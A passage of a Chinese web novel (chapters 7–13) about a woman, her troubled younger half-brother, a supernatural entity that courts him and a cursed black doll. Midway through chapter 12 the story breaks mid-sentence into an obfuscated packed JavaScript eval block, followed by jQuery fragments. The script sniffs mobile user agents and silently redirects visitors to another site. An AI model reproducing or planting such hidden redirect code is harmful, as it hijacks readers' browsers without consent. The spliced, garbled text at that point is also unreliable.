七
她最后还是没有去厝明。
席悯春把那张名片收起来，放在抽屉最里面。然后继续过她的日子。上班，下班，吃饭，睡觉。假装什么都没发生，也希望什么都不会再发生。
但事情还是发生了。
席鸿秋越来越沉默。他不再和席悯春说学校里的事，不再和她说同学的事，不再和她说任何事。他把自己关在房间里，一关就是一整天。
席悯春有时候站在他门口，想敲门，但每次举起手，又放下了。
她不知道说什么。
不知道是应该安慰他，还是应该问他那个“祂”的事，还是应该像什么都没发生一样叫他出来吃饭。
她什么都没做。
因为她在怕。不是怕席鸿秋，是怕自己。怕自己一开口，那些藏了十几年的恨就会漏出来。怕自己看着他的时候，眼底会露出不该有的东西。
她知道他看出来了。那天晚上他说“你也不是真心爱我”的时候，语气太平静了，平静得像是在说一件早就知道的事。
他知道。他一直都知道。
就像那天她安慰他时，同样也知道他在背后的那个笑。
八
第二年春天，席悯春再次接到席鸿秋老师的电话。
这次不是推老师，是和同学打架。打得挺狠，把对方鼻梁打断了。
席悯春去了一趟学校，说了很多好话，赔了不少钱，才把事情压下去。
只有一点，必须要把席鸿秋开除。
席悯春答应了。
那天晚上，她等他回家，坐在客厅里等他。
席鸿秋进门的时候，脸上还有伤。嘴角破了，眼角青了一块。他看见她，愣了一下，然后笑了。
“姐姐，你怎么还没睡？”
“等你。”
席鸿秋在对面坐下，低着头，不说话。
“为什么打架？”席悯春问。
“他骂我。”
“骂你什么？”
席鸿秋沉默了一会儿。
“他说我是野种。”他说，“说席家要不是看我可怜，早就把我赶出去了。”
席悯春攥紧了拳头。
“他说得没错。”席鸿秋忽然说。
席悯春抬起头。
“姐姐，他说得没错。”席鸿秋看着她，“我本来就是个野种，是不被人期待的私生子，是母亲遭人强迫的产物。我本来就是……多余的。”
席悯春喉咙发干，说不出话来。
席鸿秋笑了。那笑容很淡，很轻，像一片落在水面上的叶子。
“姐姐，”他说，“你知道我为什么答应祂吗？”
席悯春摇摇头。
“因为祂是第一个说‘我需要你’的东西。”席鸿秋说，“父亲不需要我，母亲不需要我。这个世界上没人需要我。只有祂。”
他看着席悯春，那双眼睛在灯光下亮得吓人。
“姐姐，你说你需要我吗？”
席悯春张了张嘴。
“你说啊。”席鸿秋说，“你说你需要我，我就把祂的东西还回去。再也不理祂了。”
席悯春看着他。十七岁的男孩，坐在她对面，脸上还有伤，眼睛里有一种她从来没见过的光。那光很亮，很热，像有一团火在烧。
她张了张嘴。想说需要。想说你是我的弟弟，我当然需要你。想说那些话就在嘴边，但她说不出来。
因为这是谎言。
谎言在这团火面前就像纸一下，不堪一击。
她犹豫了。
只犹豫了几秒。
但席鸿秋看见了。他看见了她的犹豫，看见了她眼底的迟疑。那光在他眼睛里摇曳了一下，然后灭了。
“算了。”他站起来，“我开玩笑的，姐姐。”
他走了。回自己房间，关上门。
席悯春坐在客厅里，很久没动。
那天晚上，她一直在幻听，好像隔壁房间里传来了哭声。细细的，微弱的，不间断的。
但没有。这只是幻听。
席悯春躺在床上，睁着眼睛，“听”着那个声音，一直到天亮。
第二天，她带着席鸿秋转了学。
九
秋天，席悯春在整理席定州的房间时发现了一个纸箱。
箱子放在储物间最里面，落满了灰。她打开，里面是一些旧相册、旧文件，还有一个布娃娃。
那娃娃很小，巴掌大，浑身漆黑，眼睛是两颗红色的珠子，嘴角向上弯着，像在笑。它被塞在一堆发黄的信件中间，露出半张脸。
席悯春把它拿出来，觉得有些眼熟。
她翻了翻那些信件，大多是生意上的往来，没什么特别的。最底下有一封信，已经很旧了，信封上写着“阿云亲启”四个字，是席定州的笔迹。
信是写给她母亲的。
她犹豫了一下，拆开了。
信很短，只有几行字：
“阿云，这个东西你收好。老冯跟我说，有了它，咱们家一定能富起来。”
老冯，就是那个帮她介绍薄野明的父亲的朋友。
席悯春看着那个漆黑的布娃娃，心里有一种说不出的异样感，很不舒服。她翻看信封，最底下落的日期，是她的生日——也是母亲的忌日。
她把娃娃放回箱子里，合上盖子，抱回自己房间。
那天晚上，她做了一个梦。
梦里她站在一棵大树下，树上挂满了红色的绳子，绳子上系着纸条，随风飘荡着。她伸手想去摘，纸条却自己飘了下来，落在她掌心。
上面写着：席鸿秋。
她猛地醒了。枕头是湿的。
她不知道自己为什么哭。
十
二〇〇六年春天，席鸿秋开学了，这是高中最后的一个学期。走之前，他在家里收拾东西，把那个铁皮盒子也带上了。
席悯春站在门口，看着他往箱子里装东西。
“那个盒子……”她说。
席鸿秋抬头看她。“怎么了？”
“没什么。”席悯春说，“就是……你还留着？”
席鸿秋沉默了一会儿。
“姐姐，”他说，“你有没有想过，那个东西为什么来找我？”
席悯春没说话。
“因为祂知道，”席鸿秋说，“这个世界上，没有人在乎我。所以祂能趁虚而入。”
“事实上，祂也成功了。”
他拉上箱子的拉链，站起来。
“姐姐，我走了。”
席悯春点点头。
席鸿秋走到门口，停下来，回过头。
“姐姐，”他说，“你说过你信我。这句话，还算数吗？”
席悯春看着他。十八岁的男孩，站在门口，背着书包，拖着行李箱，像一棵终于长成的树。他的眼睛很亮，和他小时候一样。
“算。”她说。
席鸿秋笑了。
“这就够了。”他说。
他走了。
席悯春站在门口，看着他的背影消失在巷子口。风吹过来，银杏树的叶子沙沙地响。
她站了很久。然后转身回屋，走进自己房间，打开那个纸箱，拿出那个漆黑的布娃娃。
它的眼睛是红色的珠子，嘴角向上弯着，像在笑。
她看着它，猛地攥紧拳头，掐住它的脖子，狠狠摔在地上。
数不尽的恨意从心底涌上来，萃成浑厚的恶意，又在理智的管控下沉寂下去。
席悯春把娃娃放回箱子里，盖上盖子。她走到窗前，推开窗户。夜风吹进来，带着春天泥土的气息。
她生于春天。她讨厌春天。
月亮升起来了，很圆，很亮。银杏树的影子落在地上，像一个人，站在树下，等着什么。
十一
二〇〇六年秋天，席鸿秋去了省城读大学。席悯春留在慕坪中学继续教书。
日子平静下来。席鸿秋的房间空荡荡的，她有时候会路过，看见门开着，里面什么都没有。床铺得很整齐，书桌上光秃秃的。那个铁皮盒子被他带走了。
她偶尔会想起那个漆黑的布娃娃。它还在储物间的纸箱里，她再也没打开过。
席鸿秋偶尔会打电话回来。话不多，问问家里的情况，问问她的身体，说自己在学校挺好的。每次通话都很短，两三分钟结束，最长的一段是十分钟，他们大吵了一架——关于他毕业后的去留。
每次挂电话之前，他总会说一句：“姐，你照顾好自己。”
席悯春说：“你也是。”
然后就结束了。
有一年中秋，席鸿秋没有回来。他说学校有事，走不开。席悯春一个人坐在客厅里，看着窗外的月亮。银杏树的叶子黄了，落了一地。
她忽然想起，很多年前的中秋，席鸿秋还小，追在她后面跑，喊着“姐姐姐姐，月亮好大”。
她笑了。笑着笑着，又觉得鼻子有点酸。
十二
二〇〇七年秋天，席悯春收到一个包裹。
没有寄件人，邮戳是省城的。她拆开，里面是一个铁皮盒子——席鸿秋的那个。
她打开，里面的纸片还在，但上面的每一行字都被更浓重的红色颜料覆盖，把纸片变成了红色。
只有最后一张纸片上的那行字还在：“祂说，只要我想要，什么都可以给我。”但下面多了一行字，是席鸿秋的笔迹：</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420264|200808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“我到底想要什么？”
席悯春捧着那个盒子，坐在沙发上，很久没动。
她想起薄野明给她的那张名片。想起那个叫庳墟的地方。想起父亲信里那句话。想起那个漆黑的布娃娃。
她站起来，走进储物间，打开那个纸箱。
娃娃还在。黑色的身体，红色的眼睛，嘴角向上弯着，像在笑。
她把它拿出来，放在掌心。它很轻，轻得像什么都没有。
她盯着它看了很久。
然后她走到窗前，推开窗户。冬天的风灌进来，冷得她打了个哆嗦。
她把手伸出窗外，松开手指。
娃娃掉了下去。
她低头看。它落在银杏树下的落叶堆里，黑色的身体被金黄的叶子盖住了，只露出半张脸。红色的眼睛在月光下闪了一下，然后被风吹过来的叶子完全盖住了。
席悯春关上窗户，回到屋里。
她拿起电话，拨了席鸿秋的号码。
响了三声，接通了。
“姐？”他的声音有点哑，像是刚睡醒。
“鸿秋。”
“嗯？”
“你寄来的东西，我收到了。”
电话那头沉默了一会儿。
“哦，”他说，“那个啊。没什么，就是觉得……我都这么大了，在玩这些太幼稚了。”
席悯春握着话筒，不知道说什么。
“姐，”席鸿秋忽然说，“你还留着那个娃娃吗？”
席悯春愣了一下。
“什么娃娃？”
“你藏在储物间那个。”席鸿秋说，“黑色的，红眼睛的。”
席悯春的心跳漏了一拍。“你怎么知道？”
“我一直都知道。”席鸿秋说，“那是祂的东西。祂来找我，就是因为那个娃娃。爸把它带回家，祂就跟着来了。”
席悯春张了张嘴。
“我把它扔了。”她说，“刚才。”
电话那头沉默了很久。
“姐，”席鸿秋的声音有点抖，“你真的扔了？”
“真的。”
又沉默了一会儿。然后席鸿秋笑了。那笑声很轻，很淡，但和以前不一样——是温暖的。
“谢谢你。”他说。
十三
二〇〇八年元宵节，席鸿秋回来了。
他站在门口，比走的时候又高了一些，瘦了一些。脸上的棱角更分明了，但眼睛还是亮的。
“姐，我回来了。”
席悯春站在门口，看着他，忽然觉得鼻子有点酸。
“进来。”她说，“吃饭了。”
席鸿秋换了鞋，走进来。路过储物间的时候，他停了一下，看了一眼那扇关着的门。
“那个纸箱呢？”他问。
“扔了。”席悯春不欲多言。
席鸿秋点点头，没再问。
他们坐在桌边吃饭。窗外有人在放烟花，嘭嘭的响，光透过玻璃一闪一闪的。席鸿秋吃得很慢，一口一口的，像小时候一样。
“姐，”他忽然说，“你说，祂会不会再来找我？”
席悯春看着他。
“不会。”她说，“你说不要了，祂就不会来了。”
席鸿秋笑了。那笑容很淡，但眼睛是弯弯的，亮亮的。
“你怎么知道？”
“我不知道。”席悯春说，“但我就是这样相信的。”
席鸿秋看着她，看了很久，然后起身给她倒水。
“姐，”他说，“你以前说过你信我。现在呢？”
席悯春放下筷子。
“现在也信。”
席鸿秋的笑容深了一些。他低下头，继续吃饭。
窗外烟花还在放。银杏树的影子落在地上，被灯光拉得很长。风吹过来，光秃秃的枝桠晃了晃，像是在和谁招手。
席悯春坐在桌边，看着对面那个已经比她高了很多的男孩，忽然想起很多年前，他追在她后面喊“姐姐姐姐”的样子。
那时候他还小，什么都不懂。
现在他长大了。懂了很多。放下了很多。
她端起杯子，喝了一口水。水是不烫不凉，是她喜欢的温度。
“鸿秋。”
“嗯？”
“元宵节快乐。”
席鸿秋抬起头，看着她。他的眼睛很亮，和她第一次觉得他不对劲的那个冬天一样亮。但那里面的东西不一样了。
不是死水，是活的。
“元宵节快乐，姐。”他说。
窗外月光很亮。银杏树的影子落在地上，安安静静的，像一个人，终于不再等了。
其实春天也没那么讨厌。